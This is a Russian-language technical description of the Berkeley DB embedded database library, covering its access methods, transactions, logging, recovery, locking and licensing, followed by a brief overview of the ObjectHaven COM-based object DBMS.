Си-интерфейсы, входящие в комплект поставки Berkeley DB, позволяют реализовать управление записями баз данных в dbm-стиле и предоставляют доступ к множеству расширений, в числе которых механизм элегантного решения задачи обработки идентичных записей, а также системы поддержки многопользовательского доступа и транзакций. Последнее расширение позволяет параллельно завершать по нескольку транзакций (с перманентной модификацией данных) или откатывать их (с восстановлением баз данных до состояния перед началом транзакции).

Интерфейсы для C++ и Java реализуют небольшой набор классов для работы с базами данных. Корневой класс в обоих языках носит название Db – он содержит методы, инкапсулирующие упомянутые выше интерфейсы dbm-стиля.

Имеются также интерфейсы для работы с Berkeley DB при помощи языков сценариев Perl, Python и Tcl.

Berkeley DB можно подключать к коду приложения динамически или статически.

Использование Berkeley DB

Библиотека Berkeley DB поддерживает возможность многопользовательского доступа к базам данных. Ее можно подключить к коду автономных приложений, к набору совместно работающих приложений или к серверам, обрабатывающим клиентские запросы и выполняющим в соответствии с ними операции над базами данных.

На наш взгляд, Berkeley DB проще в понимании и обращении, чем автономные СУБД. Она хранит и извлекает записи, состоящие из пар ключ-значение. Ключи используются для обнаружения элементов и могут представлять собой данные любого типа или любые структуры, поддерживаемые применяемым языком программирования.

Программист может указать Berkeley DB использовать написанные им самим функции выполнения операций над ключами. Например, метод доступа B+tree может использовать произвольную функцию сравнения, а Hash – произвольную хэш-функцию. Если пользовательские функции не определены, Berkeley DB использует собственные. В противном случае система вообще не просматривает и не интерпретирует ключи и значения. Значения могут быть произвольной длины.

Важно понимать, чем Berkeley DB не является. Berkeley DB – не сервер баз данных, обрабатывающий запросы, поступающие по сети. Это также не SQL-ядро, выполняющее запросы. Не является Berkeley DB и реляционной или объектно-ориентированной СУБД.

Все перечисленные системы можно построить поверх Berkeley DB, которая сама по себе является всего лишь встраиваемым механизмом баз данных. Разработчики постарались сделать его переносимым, компактным, быстрым и надежным.

Приложения, использующие Berkeley DB

Система Berkeley DB встроена в ряд продуктов, как с открытым кодом, так и коммерческих. В данном разделе перечислены некоторые из них.

Серверы каталогов, хранящие и извлекающие данные с применением протокола каталогов LDAP, а также реализующие службу именования и поиска по каталогам в локальных сетях. Основа этой службы – опрос и обновление базы данных, но с применением простого протокола, а не SQL или ODBC. Berkeley DB выполняет функции встроенного диспетчера данных в большинстве существующих серверов каталогов, включая LDAP-серверы компаний Netscape, MessagingDirect и других.

Berkeley DB встроена в большое число почтовых серверов. Intermail компании Software.com использует Berkeley DB в качестве хранилища сообщений и в качестве основного хранилища для своего сервера каталогов. Сервер sendmail (как коммерческий Sendmail Pro компании Sendmail, так и версия, распространяемая через sendmail.org) использует Berkeley DB для хранения псевдонимов и другой информации. Postfix (ранее носивший название VMailer) также использует Berkeley DB для хранения административной информации.

Кроме того, Berkeley DB встроен во множество других программных продуктов. Система применяется для управления списками контроля доступа; хранения пользовательских ключей в инфраструктурах, использующих шифрование с открытым ключом; записи таблиц соответствий машинных и сетевых адресов в адресных серверах; хранения конфигурации и информации об устройствах в программах видеомонтажа.

Berkeley DB также входит в состав многих программ с открытым кодом, распространяемых по Internet. В частности, система встроена в Web-сервер Apache и в графическую оболочку Gnome. Все коммерческие дистрибутивы Linux, а также многие разновидности BSD содержат Berkeley DB.

Методы доступа

В терминологии баз данных метод доступа — это совокупность размещаемой на диске структуры, используемой для хранения данных и операций над этой структурой. Например, многие системы баз данных поддерживают метод доступа B+tree. Он позволяет производить поиск по точному соответствию («найти ключи, равные некоторой константе»), поиск интервала («найти ключи, попадающие в интервал между двумя константами»), а также вставку и удаление записи.

Berkeley DB поддерживает четыре метода доступа: B+tree, Persistent Queues (Queue), Extended Linear Hashing (Hash) и Fixed- or Variable-length Records (Recno). В методах B+tree и Hash ключи могут иметь произвольную структуру. В методах доступа Queue и Recno каждой записи присваивается номер, который и служит ключом. Во всех методах доступа значение может иметь произвольную структуру. Если программист подставляет собственные функции сравнения или хэширования, Berkeley DB хранит и извлекает значения, не интерпретируя их.

В качестве основного хранилища все методы доступа используют файловую систему ОС.

Hash

Berkeley DB поддерживает метод доступа Hash, реализующий расширяемую линейную хэш-таблицу [4]. Особенность такого хэширования в том, что хэш-функция адаптируется по мере роста таблицы, и все хэш-корзины в устойчивом состоянии по мере возможности остаются заполненными не до конца.

Метод доступа Hash поддерживает возможность вставки и удаления записей, а также поиска, но лишь по точному соответствию. Допускается повторение всех записей, хранимых в таблице, но порядок их возврата не определен.

B+tree

Berkeley DB поддерживает метод доступа B+tree [1]. B+деревья хранят пары ключ-значение в листовых страницах, а пары «ключ, адрес дочерней страницы» – на внутренних узлах. Ключи в дереве хранятся в отсортированном порядке, заданном функцией сравнения, указанной при создании базы данных. Для упрощения задачи обхода дерева страницы на листовом уровне содержат указатели на соседей. B+tree поддерживает поиск по точному соответствию (равенству) или интервалу (допустимы лишь интервалы «больше или равно»). Как и хэш-таблицы, B+деревья поддерживают вставку, удаление и повторение всех записей в дереве.

По мере заполнения записями страниц они разбиваются – примерно половина ключей уходит на новую страницу, находящуюся на том же уровне дерева. Большинство реализаций В+дерева после деления оставляют оба узла заполненными наполовину. В общем случае это приводит к снижению производительности, когда вызывающий вставляет ключи по порядку. Но Berkeley DB запоминает порядок вставки и разбивает страницы не поровну, а таким образом, чтобы они заполнялись более, чем наполовину. Благодаря этому уменьшается размер дерева и общий объем базы данных, повышается производительность поиска.

По удалении пустые страницы воссоединяются посредством обратного разбиения. Данный метод доступа не принимает никаких дополнительных мер для балансировки страниц при удалении или вставке. Ключи при каждом обновлении не перемещаются от страницы к странице. Реализация такой возможности могла бы в отдельных случаях снизить время поиска, но дополнительная сложность кода привела бы к замедлению обновлений и частым взаимным блокированиям.

Queue

Berkeley DB реализует метод доступа, управляющий высокопроизводительными долговременными очередями. Он построен на базе метода доступа B+tree, но использует механизмы блокировки и протоколирования, необходимые для работы в условиях интенсивного многопользовательского доступа к голове и хвосту очереди. Процесс обновления головы или хвоста очереди блокирует другие потоки на протяжении не всей транзакции, а лишь на время своего выполнения. Благодаря этому качество поддержки параллельного выполнения транзакций значительно улучшается.

Recno

Berkeley DB содержит метод доступа к записям фиксированной или переменной длины под названием Recno. Он присваивает каждой из записей логический номер, по которому может осуществляться поиск и обновление. Recno может, например, загрузить в базу данных текстовый файл, рассматривая каждую строку в качестве записи. Используя эту возможность, в текстовых редакторах можно производить быстрый поиск по номеру строки [10].

Recno построен на базе метода доступа В+tree и предоставляет простой интерфейс для хранения значений, упорядоченных по номеру. Recno генерирует номера записей самостоятельно. С точки зрения программиста значения нумеруются последовательно, начиная с единицы. Разработчик может указать системе, должны ли записи автоматически перенумеровываться после добавления или удаления записей с меньшими номерами. Если да, то новые ключи можно будет вставлять между существующими.

Особенности

В данном разделе описываются важнейшие особенности Berkeley DB. Разработчик имеет возможность использовать в своем приложении только необходимые ему функции системы.

Например, когда приложение открывает базу данных, оно может назначить требуемый ему уровень поддержки многопользовательского доступа и восстановления. Простые автономные приложения, в частности перенесенные приложения, использовавшие dbm или какую-то из его разновидностей, обычно не требуют поддержки многопользовательского доступа и восстановления после сбоев. Однако, например СУБД корпоративного класса, хранящие данные по операциям службы сбыта и другую критически важную информацию, нуждаются в полноценной поддержке транзакций. В однопользовательском режиме система работает быстрее, чем в многопользовательском, ввиду отсутствия задержек, создаваемых блокировками. С отключенной системой восстановления Berkeley DB также работает быстрее, поскольку в этом случае при внесении изменений в базах данных их не нужно протоколировать.

Некоторые подсистемы уровня ядра, в частности механизмы блокировки и протоколирования могут использоваться и вне контекста методов доступа. Существует, нечасто используемая, возможность изолированного применения в приложении менеджера блокировки Berkeley DB, без каких-либо функций работы с базами данных. Кроме того, с помощью системы двухэтапной блокировки Berkeley DB вызывающий может реализовать блокирование не принадлежащих к базе данных ресурсов, подчиняя их таким образом транзакционной семантике.

Интерфейсы программирования

Berkeley DB предоставляет простой API-интерфейс для управления базами данных. В комплект поставки программного обеспечения не входят стандартные интерфейсы типа ODBC, OLEDB или SQL. Эти интерфейсы весьма удобны, однако они создавались с целью обеспечения интероперабельности систем баз данных, но не простоты или высокой производительности.

Идя навстречу пожеланиям пользователей, создатели Berkeley DB в версии 2.5 реализовали поддержку стандарта XA [5]. XA позволяет Berkeley DB принимать участие в распределенных транзакциях под управлением монитора обработки транзакций, подобного Tuxedo компании BEA Systems. Подобно XA, поверх ядра системы можно построить и другие стандартные интерфейсы. Стандарты не являются частью внутреннего механизма Berkeley DB, так как в их поддержке нуждаются не все приложения.

Работа с записями

Пользователю базы данных может понадобиться произвести поиск определенных ключей или просто просмотреть имеющиеся записи. Berkeley DB поддерживает как доступ по ключам, т. е. возможность найти все записи с заданным ключом, так и последовательный доступ – возможность извлечь сразу все записи базы данных. Порядок, в котором возвращаются записи, зависит от метода доступа. Базы данных в форматах В+tree и Recno возвращают записи в порядке сортировки, а Hash-базы – в случайном порядке.

В Berkeley DB предусмотрены также простые интерфейсы для вставки, обновления и удаления записей в базе данных.

Длинные ключи и значения

Berkeley DB может работать с ключами и значениями размером до 232 байт. Поскольку время, затрачиваемое на копирование записи, возрастает пропорционально ее размеру, в Berkeley DB предусмотрены интерфейсы для работы с фрагментами записей. Если приложению нужна лишь часть большой записи, оно может запросить извлечение лишь требуемого ему фрагмента. Это позволяет экономить и время, и память.

Berkeley DB позволяет программисту задать тип данных как для ключей, так и для значений. Разработчик может использовать любые типы данных, поддерживаемых применяемым языком программирования.

Крупные базы данных

Максимальный размер базы данных, поддерживаемый Berkeley DB, составляет 248 байт или 256 Тбайт. Поскольку Berkeley DB использует в качестве основного хранилища базы данных файловую систему ОС, она должна поддерживать работу с файлами больших размеров. У Sleepycat Software есть клиенты, пользующиеся Berkeley DB для управления базами данных, размер которых превышает 1 Тбайт.

Базы данных, размещаемые в основной памяти

Приложения, не требующие долговременного хранения информации, могут создавать базы данных, размещаемые лишь в основной памяти. Таким базам данных в принципе не свойственны ограничения по производительности, налагаемые подсистемой ввода/вывода.

Существуют приложения, нуждающиеся в дисковом пространстве для основного хранилища, но работающие на системах с очень большим объемом памяти. Berkeley DB может выполнять роль диспетчера очень больших участков памяти, совместно используемой для управления блокированием, хранения кэшированных страниц данных и записей протокола. Например, участок, используемый для кэширования страниц данных, может иметь размеры в несколько гигабайт – таким образом уменьшается вероятность того, что при операции чтения в устойчивом состоянии потребуется доступ к диску. Размер кэш-региона декларируется при старте программы.

Кроме того, многие операционные системы поддерживают файловые функции с отображением памяти – они работают намного быстрее, чем стандартные операции. Berkeley DB может отображать файлы своих баз данных в памяти, когда требуется их использование в режиме «только чтение». В этом случае приложение работает с записями, хранимыми непосредственно на страницах памяти, не расходуя ресурсы на кэширование. Поскольку приложение получает указатели непосредственно на страницы Berkeley DB, выполнять операции записи в таком режиме нельзя. В противном случае изменения могут миновать системы блокирования и протоколирования, и приложение может повредить структуру базы данных. Приложения, работающие в режиме «только чтение», могут использовать поддерживаемые Berkeley DB файловые операции с отображением в память на большинстве архитектур.

Определяемый размер страниц

Программист декларирует размер страниц, используемых применяемым методом доступа, при создании базы данных. Хотя в Berkeley DB предусмотрены разумные значения по умолчанию, разработчик может модифицировать их с целью оптимизации производительности системы. При небольшом размере страниц снижается число записей на страницу. Соответственно, при блокировании такой страницы блокируется меньше записей и улучшается качество многопользовательского доступа. Конечно, затраты ресурсов на страницу в обратной пропорции к их размеру, но зато разработчик, если того требует приложение, имеет возможность увеличить производительность.

Компактность

Berkeley DB – компактная система. Двоичные файлы полного комплекта, в том числе всех методов доступа, механизмов восстановления и транзакций, занимают на стандартных архитектурах около 200 Кбайт.

Курсоры

В терминологии СУБД курсор – это указатель на метод доступа, который циклически вызывается для последовательного возвращения записей. В Berkeley DB имеются курсорные интерфейсы для всех методов доступа. Применение курсоров позволяет, например, обойти В+дерево, просматривая записи в порядке обхода. Указатели на записи в курсорах являются долговременными, так что будучи захваченной один раз, запись может быть впоследствии обновлена на прежнем месте. Кроме того, курсоры позволяют работать с цепочками повторяющихся данных в различных методах доступа.

Соединения

В терминологии СУБД соединение это операция, объединяющая несколько таблиц (или в случае с Berkeley DB, несколько файлов баз данных) в одну. Приведем пример: компания хранит сведения о своих клиентах в одной таблице, а информацию о сбыте – в другой. Допустим, приложению понадобилось просмотреть данные о сбыте по именам клиентов; это потребует приведения в соответствие записей в двух таблицах, имеющих общее поле «имя покупателя». Такое объединение записей из двух таблиц называется соединением.

Berkeley DB содержит интерфейсы для соединения двух или более таблиц.

Транзакции

Транзакция обладает четырьмя свойствами [2].

- Атомарность. Транзакция должна быть выполнена полностью, или не выполнена вообще. Это свойство позволяет, например, единой атомарной операцией осуществить денежный перевод между двумя счетами, уменьшив баланс на одном и увеличив на другом.
- Согласованность. Изменения, вносимые транзакцией в базу данных, не должны повредить ее.
- Изолированность. Независимо от числа пользователей, одновременно работающих с базой данных, у каждого из них должна быть иллюзия, что никаких параллельных операций над базой данных не выполняется.
- Долговечность. Даже если утрачен диск, на котором хранилась база данных, должна быть возможность восстановить ее до состояния после выполнения последней согласованной транзакции.
Сочетание свойств атомарности, согласованности, изолированности и долговечности обычно обозначают сокращением ACID (atomicity, consistency, isolation, durability). Berkeley DB, как и большинство систем баз данных, обеспечивает ACID за счет набора базовых служб.

Программисты могут пользоваться поддержкой транзакций Berkeley DB при необходимости.

Протоколирование с упреждением

При запуске Berkeley DB программист может активизировать систему протоколирования. В процессе транзакции приложение вносит ряд изменений в базу данных. Каждое изменение фиксируется в отдельной записи протокола, предназначенного для хранения состояния записей базы данных до и после внесения изменений. Berkeley DB гарантирует, что запись протокола будет сохранена на устойчивую систему хранения до выполнения операции записи измененных страниц с данными. Такое поведение – запись протокола до записи страниц данных – называется протоколированием с упреждением.

В любой точке процесса выполнения транзакции приложение может подтвердить ее результаты (commit), сделав изменения перманентными, или откатить (roll back), отменив все изменения и восстановив базу данных до состояния перед началом транзакции. Если приложение откатывает транзакцию, протокол будет содержать состояние всех измененных страниц до начала транзакции, и Berkeley DB просто восстановит базу данных до этого состояния. Если приложение завершает транзакцию, Berkeley DB сохраняет записи протокола на диск. Копии страниц данных, находящиеся в памяти, уже содержат внесенные изменения и будут сброшены на диск установленным порядком в ходе нормальной обработки. Тем самым повышается производительность, поскольку протокол ведется последовательно, а запись в страницы данных происходит в случайной последовательности.

Сбои и восстановление

Для завершения и отката транзакций в Berkeley DB используется система протоколирования с упреждением. Она же предоставляет системе восстановления информацию, необходимую для защиты от потери или повреждения данных в случае сбоя. Berkeley DB может восстановить данные после сбоев приложения, системных сбоев и даже катастрофических сбоев вроде утраты жесткого диска.

Восстановление после сбоев требует хранения данных в нескольких различных местах. В ходе нормальной обработки Berkeley DB содержит в памяти копии активных записей протокола и недавно использовавшихся страниц данных. Записи протокола сбрасываются на диск протокола после завершения транзакции. Страницы данных копируются на диск данных по мере своего прохождения через буферный кэш. Периодически системный администратор создает в безопасном месте резервные копии диска данных. После создания резервной копии базы данных протокол можно урезать. Для достижения максимальной отказоустойчивости диск протокола и диск данных должны находиться на разных физических устройствах.

Различные системные сбои могут привести к повреждению содержимого памяти, диска протокола или диска данных. Berkeley DB способна восстанавливаться после утраты любого из этих хранилищ, не теряя ни одной из завершенных транзакций.

В случае потери содержимого компьютерной памяти в результате сбоя системы или приложения все завершенные транзакции сохраняются в протоколе. При перезапуске система восстановления сверяет базу данных с протоколом, внося все изменения в дисковые страницы, находящиеся в памяти в момент сбоя. Поскольку протокол содержит состояния записей до и после внесения изменений, система также использует его для восстановления всех страниц, измененных незавершенными транзакциями.

В случае утраты диска данных системный администратор может восстановить его содержимое по последней резервной копии. Система восстановления сверит базу данных по протоколу, внося все зафиксированные в нем изменения. По окончании этого процесса база данных будет содержать все изменения, внесенные всеми завершенными когда-либо транзакциями.

В случае утраты диска с протоколом система восстановления может использовать находящиеся в памяти копии записей протокола для отката всех незавершенных транзакций, сброса находящихся в памяти страниц на диск данных и корректного закрытия приложения. После этого системный администратор может сделать резервную копию диска с базой данных, установить новый диск для протокола и перезапустить систему.

Контрольные точки

В Berkeley DB имеется служба контрольных точек, взаимодействующая с системой восстановления. В ходе нормальной обработки и протокол, и база данных непрерывно меняются. В любой заданный момент дисковые версии того и другого могут оказаться не соответствующими друг другу. Протокол может содержать изменения, еще не внесенные в базу данных.

С применением контрольных точек все изменения, зафиксированные в протоколе, гарантированно будут внесены и в дисковые данные. Использование контрольных точек в ходе нормальной обработки отнимает некоторое количество ресурсов, но зато снижает временные затраты на восстановление после сбоев.

После сбоя приложения или ОС, системе восстановления необходимо просмотреть протокол не с самого начала, а лишь за две контрольных точки до последней записи. (Не за одну, потому что нет гарантии, что последняя контрольная точка была корректно выставлена – возможно, операция была прервана сбоем, в результате которого еще до ее окончания запустилась система восстановления). Без контрольных точек до перезапуска системы после сбоя может пройти неопределенно много времени. При наличии контрольных точек интервал до перезапуска может быть задан программистом. Процедура восстановления гарантированно будет завершаться за секунду-две.

Сбои программного обеспечения происходят гораздо чаще, чем дисковые сбои. Разработчики стараются обеспечить гарантию того, что ошибки в программах не разрушат данных, но на случай такого редкостного явления, как сбой диска, обычно предусматривают возможность восстановления резервной копии с ленты, в результате которого все же теряется один-два дня работы. Berkeley DB дает возможность обрезать протокол по контрольным точкам. В случае наличия двух последних контрольных точек система восстановления гарантирует, что после сбоя программного обеспечения не будет потеряно ни одной завершенной транзакции. При использовании контрольных точек система восстановления не требует размещения протокола и данных на раздельных дисках, хотя их разнесение все же позволяет поднять производительность за счет параллельной записи.

Двухфазная блокировка

В Berkeley DB имеется служба двухфазной блокировки. В целях снижения вероятности взаимного блокирования и обеспечения свойств ACID системы баз данных осуществляют блокировку в два этапа. В ходе выполнения транзакции блоки только ставятся, но не снимаются. В конце транзакции блоки только снимаются, но не ставятся. На практике большинство систем баз данных, включая Berkeley DB, ставят блоки по требованию в ходе транзакции, затем сбрасывают протокол на диск, затем снимают все блоки.

Berkeley DB может блокировать файлы баз данных (соответствующие таблицам) целиком, или же отдельные страницы внутри их. Блокировку на уровне записей Berkeley DB не осуществляет. Однако, уменьшив размер страницы, разработчик может добиться того, что на каждой из них будет храниться лишь небольшое число записей. Тем самым снижается уровень конфликтов.

При включенной функции блокирования операции чтения и записи базы данных устанавливают двухфазные блоки, не снимаемые до завершения транзакции. То, какие объекты и в каком порядке блокируются, зависит от рабочей нагрузки транзакции. Возможно взаимное блокирование двух и более транзакций, когда каждая из них ждет освобождения объекта, заблокированного параллельно выполняемой транзакцией.

Berkeley DB распознает взаимные блокирования и автоматически откатывает одну из транзакций. Этим снимаются установленные ею блоки, и остальные транзакции продолжают свое выполнение. Вызывающий получает извещение о том, что его транзакция не завершена, и может запустить ее снова. Разработчик может задать интервал запуска процедуры проверки наличия взаимного блокирования и политику выбора транзакции для отката.

Из приложений, к которым подключается Berkeley DB, интерфейсы двухфазной блокировки можно вызывать независимо от других, хотя до сих пор лишь немногим пользователям понадобилось задействовать эту возможность изолированно. Эти интерфейсы открывают доступ к быстрой, переносимой системе блокировки общего назначения. Berkeley DB также позволяет включать внешние по отношению к базе данных объекты в транзакции, контролируя доступ к этим объектам точно так же, как если бы они принадлежали к базе данных.

Механизм двухфазной блокировки построен на самых быстрых примитивах корректного блокирования, поддерживаемых архитектурой нижнего уровня. Это означает, что для каждой из Unix-платформ система блокировки реализована в последней версии Berkeley DB по-разному, не говоря уже о реализации для Windows NT. Как показывает наш опыт, самыми сложными этапами оптимизации производительности является поиск наиболее быстрых примитивов блокирования, корректно работающих на конкретной архитектуре, и интеграция нового интерфейса с уже существующими.

Идеальным был бы случай, если бы во всех операционных систем были реализованы блокирующие примитивы POSIX, и если бы существовала гарантия, что наиболее быстрой операцией является установка блока, на который не претендует другая операция. Блокировки должны работать как между потоками внутри одного процесса, так и между процессами.

Параллелизм

Хорошая производительность при параллельных операциях – одна из важнейших целей, которые ставили разработчики при создании Berkeley DB. Хотя сама по себе Berkeley DB не является многопоточной, она корректно работает в приложениях, использующих потоки. Мы считаем, что решение об использовании потоков и выборе механизма их реализации должны приниматься разработчиком, и поэтому предпочли реализовать механизм (возможность потокового или обычного выполнения), позволяющий приложению поступать сообразно своим потребностям.

Подсистемы блокировки, протоколирования и управления буферным пулом для обмена информацией используют совместный доступ к памяти или другие имеющиеся в от ОС функции совместного доступа. Блокировки, захваты буферных пулов и операции записи в протокол одинаково ведут себя, работая в потоках, в едином процессе и в разных процессах, выполняющихся на одной машине.

Благодаря этому многопользовательские БД-приложения могут запускать отдельный процесс для каждого нового пользователя, создать единый сервер, порождающий отдельный поток для каждого клиентского запроса или воспользоваться любой политикой, комбинирующей эти подходы.

Berkeley DB была тщательно спроектирована таким образом, чтобы минимизировать конфликты и обеспечить максимальный параллелизм. Диспетчер кэша позволяет всем потокам или процессам пользоваться операциями ввода-вывода, выполняемыми одним из них. Совместно используемые ресурсы иногда необходимо блокировать для предоставления эксклюзивного доступа одному управляющему потоку. Мы позаботились о том, чтобы важнейшие функции Berkeley DB были небольшими по объему и чтобы в ходе системных вызовов блоки критических ресурсов не удерживались слишком долго, чтобы создать препятствие для блокирующего потока или процесса. У Sleepycat Software есть клиенты, у которых с одной базой данных параллельно работают сотни пользователей.

Философия проектирования

Berkeley DB по сути представляет собой набор методов доступа и служб, таких как протоколирование, блокировка и использующий их транзакционный доступ. И в научном, и в коммерческом сообществе методы построения систем, подобных Berkeley DB, уже давно хорошо изучены.

Свои преимущества Berkeley DB получила благодаря тому пристальному вниманию, которое уделялось деталям проектирования на протяжении всего существования программного продукта. Мы позаботились о том, чтобы ключевые функции, такие как блокировка и ввод/вывод либо были доступными через удобные интерфейсы, либо работали прозрачно для вызывающего. Будучи программистами, мы понимаем ценность простоты и много работали над упрощением интерфейсов, через которые пользователь обращается к системе баз данных.

Berkeley DB старается не налагать ограничения на код использующего ее приложения. Система не налагает практических ограничений на размер ключей, значений или баз данных; они могут расти, заполняя все имеющееся пространство хранения.

При разработке подсистем блокировки и протоколирования одни критические участки мы делали как можно более компактными, от других отказывались; выполнялась также работа над сжатием размеров блокированных регионов и записей протокола. Все это делалось с целью снижения уровня конфликтов и улучшения пропускной способности.

В архитектуре и реализации Berkeley DB нет никаких новшеств. Проектируя систему, мы старались как можно лучше реализовать традиционные подходы. В результате получилась встроенная система баз данных, превосходящая сходные решения по качеству.

Разработчики большинства систем баз данных приносят простоту в жертву полноте реализации. Система либо проста в использовании, либо она поддерживает параллельный доступ и возможность восстановления после сбоев. Berkeley DB благодаря тщательному проектированию обладает и простотой, и полнотой реализации.

Система немного занимает в памяти, обеспечивает простоту выполнения несложных операций (вставка новой записи занимает всего лишь несколько строк кода), и корректно ведет себя в условиях интенсивного многопользовательского доступа, системных сбоев и даже катастрофических потерь вроде утраты жесткого диска.

Распространение Berkeley DB 3.x

Berkeley DB распространяется в исходных текстах. Пользователи имеют право без ограничений загружать и компилировать наше ПО, а также использовать его в своих приложениях.

Состав дистрибутива

Дистрибутив представляет собой заархивированный файл. Он содержит исходный текст библиотеки Berkeley DB, документацию, тестовые комплекты и утилиты сопровождения.

Исходный текст содержит директивы компиляции для всех поддерживаемых платформ. В Unix для идентификации разновидности ОС, сборки библиотеки и утилит Berkeley DB использует распространяемый на условиях лицензии GNU инструмент автоконфигурирования autoconf. Berkeley DB содержит директивы сборки и для других платформ, в том числе для ОС реального времени VxWorks, а также Windows 95/98/NT/2000.

Документация

Документация поставляется в формате HTML. Она состоит из двух частей – руководство в традиционном для Unix стиле для программистов и справочное руководство, составленное по принципу учебника.

Тестовый комплект

В дистрибутив входит полноценный текстовый комплект, написанный на Tcl. На наш взгляд, тестовый комплект – главное преимущество Berkeley DB перед подобными ей системами.

Во-первых, он позволяет убедиться, что программа нормально работает после сборки.

Во-вторых, тестовый комплект дает нам возможность скрупулезно проверять каждую очередную версию системы. Узнавая о новых ошибках, мы воспроизводим их на тестовом комплекте. Мы постоянно работаем с тестовым комплектом в ходе разработки, всегда используя его до выпуска. В результате уже на этапе бета-версии система становится весьма стабильной.

Двоичный дистрибутив

Sleepycat предоставляет заказчикам скомпилированные библиотеки и полноценные двоичные дистрибутивы за деньги.

Поддерживаемые платформы

Berkeley DB работает на любой операционной системе с интерфейсом POSIX 1003.1 [3], который имеется практически во всех разновидностях Linux и Unix. Кроме того, программный продукт работает в среде ОС реального времени VxWorks компании Wind River Systems, а также на VMS, Windows 95, Windows 98, Windows NT и Windows 2000.

Лицензирование Berkeley DB 3.x

Berkeley DB распространяется как продукт с открытым кодом. Его можно бесплатно получить, загрузив его с нашего Web-сайта или иными способами. Пользователи имеют возможность без ограничений загружать и включать его в состав своих приложений.

Berkeley DB версий 1.х сопровождалась лицензией UC Berkeley, которая позволяла свободно распространять наше ПО в исходных текстах. После создания Sleepy Software нам потребовалось было разработать новую лицензию, согласующуюся с предыдущей. Ввиду серьезных отличий UC Berkeley от GPL мы не могли просто использовать последнюю. Создание новой лицензии, условия которой противоречили бы первой, означал бы отказ от прежних принципов.

По ряду причин Sleepycat намеревалась продолжать разработку Berkeley DB по принципу открытого кода. Мы согласны с Эриком Рэймондом [7] и другими в том, что ПО с открытым кодом, как правило, отличается от собственнических продуктов, распространяемых только в двоичном виде, более высоким качеством. Наши клиенты пользуются услугами сообщества разработчиков, хорошо знающих Berkeley DB, и способных помочь в проектировании, отладке приложения и оптимизации его производительности. Благодаря широкому распространению исходного текста ошибки обычно выявляются уже на ранних этапах, и исправления вносятся весьма оперативно. Таким образом обеспечивается высокая надежность Berkeley DB. Открытый, бесплатно распространяемый код дает и преимущества с точки зрения бизнеса. Мы имеем и прибыль, и рынок сбыта для своих продуктов и услуг. Кроме того, доступность исходных текстов сокращает нагрузку на нашу службу поддержки, поскольку во многих случаях клиенты могут самостоятельно находить и исправлять ошибки, не обращаясь к нам.

Новая лицензия, контролирующая Berkeley DB 2.x и 3.х, сохраняет принципы распространения кода предыдущих версий системы. Мы позаимствовали из GPL условия, делающие невозможным превращение открытого кода в собственнический.

Вкратце условия использования и распространения Berkeley DB таковы:

приложение с Berkeley DB должно быть предназначено только для внутреннего применения, или
должно быть свободно распространяемым в исходных текстах, или
пользователь должен получить у нас лицензию.
Клиентам, не желающим распространять свои продукты в виде открытого кода, мы предлагаем по разумным ценам лицензии на использование, распространение и расширение Berkeley DB.

Мы стараемся прислушиваться к нуждам сообщества открытого кода. В частности, мы разработали специальные лицензионные соглашения с проектом Gnome, поощряющие использование и распространение в его составе Berkeley DB.

Berkeley DB соответствует определению открытого кода [6]. Лицензия была тщательно составлена таким образом, чтобы Berkeley DB с одной стороны оставалась продуктом с открытым кодом, а с другой обеспечивала прибыль на инвестицию, достаточную для финансирования дальнейшей разработки и поддержки продукта. Ныне действующее лицензионное соглашение уже в течение трех лет дает нам возможность поддерживать разработку Berkeley DB. Если бы не эта лицензия, такого программного продукта могло и не быть.

Резюме

Berkeley DB реализует уникальный набор возможностей, адресованных разработчикам, приложениям которых необходимы простые и надежные службы управления базами данных. Благодаря своей совершенной архитектуре и реализации, а также благодаря тщательному проектированию продукт стал лучшим в своем классе.

Berkeley DB – программный продукт с открытым кодом. В дистрибутив входит все необходимое для сборки и развертывания или переноса его на новые операционные системы.

Sleepycat Software распространяет Berkeley DB на условиях лицензионного соглашения, базирующегося на Berkeley UC и GPL. Лицензия гарантирует, что Berkeley DB останется продуктом открытого кода и обеспечивает Sleepycat возможность зарабатывать средства на финансирование дальнейшего развития своего программного обеспечения.


ObjectHaven

СУБД ObjectHaven предназначена для управления Базами Данных, состоящими из множества взаимосвязанных COM-объектов, наделенных свойством перманентности. Хотя ObjectHaven построена по принципу объектно-ориентированных СУБД, ее реализация имеет ряд существенных отличий от традиционных ООСУБД. Важнейшим отличием ObjectHaven от ООСУБД является то, что в Базах Данных ObjectHaven хранятся COM-объекты, а не объекты какого-либо конкретного языка программирования. Это дает основание говорить об ObjectHaven как о представителе принципиально нового класса компонентно-ориентированных СУБД. ObjectHaven обеспечивает следующие преимущества:

Открытость метаданных, Улучшенная совместимость, Поддержка гетерогенных сред разработки

Большинство существующих ООСУБД предоставляют свои собственные средства описания метаданных БД, и связи метаданных БД с конкретными системами программирования. Так, для введения в ООСУБД поддержки такого языка программирования, как, например, C++, разработчикам ООСУБД потребуется написать комплект библиотек и утилит, обеспечивающих экспорт метаданных в файлы, содержащие исходные тексты на C++, причем скорее всего метаданные, предназначенные для экспорта в C++, будут непригодны для экспорта, например, в Pascal, и наоборот. При таком подходе не остается других разумных способов предоставления метаданных для разных систем программирования, кроме как содержание нескольких копий одних и тех же метаданных, предназначенных для экспорта в различные системы программирования, что в свою очередь требует постоянных усилий по сохранению соответствия различных версий метаданных. Соответственно поддержку нескольких языков программирования подобными ООСУБД нельзя назвать удовлетворительной для тех задач, которые требуют гетерогенную разработку. Для Баз Данных, управляемых ObjectHaven, метаданными являются обычные библиотеки типов COM, которые на сегодняшний день поддерживается всеми популярными системами программирования, ориентированными на разработку под Windows; и все СП под Windows, которые могут появиться в будущем, наверняка также будут поддерживать эту технологию.

Полная инкапсуляция реализации компонентов базы данных. Совместимость версий базы данных.

При обычном подходе, принятом в ООСУБД, метаданные, помимо всего прочего, хранят в себе информацию об иерархии классов перманентных объектов, их методах и членах данных. Такая подробная информация не нужна клиенту базы данных (его не должны интересовать подробности реализации объектов базы данных, ему достаточно интерфейсной части), и ограничивает гибкость модели данных. Несоблюдение принципа отделения интерфейса от реализации в типичных ООСУБД влечет да собой трудности в разработке и сопровождении программных продуктов, использующих такие ООСУБД. Например, доработка модели данных потребует доработку всех приложений, ее использующих. Использование в ObjectHaven библиотек типов COM в качестве хранилищ метаданных позволяет неукоснительно следовать принципу отделения интерфейса от реализации. Даже существенные доработки модели данных в базе данных ObjectHaven при надлежащем подходе не приведут к конфликтам версий модулей программной системы, использующей базу данных ObjectHaven, что позволит существенно сэкономить на сопровождении такой программной системы.

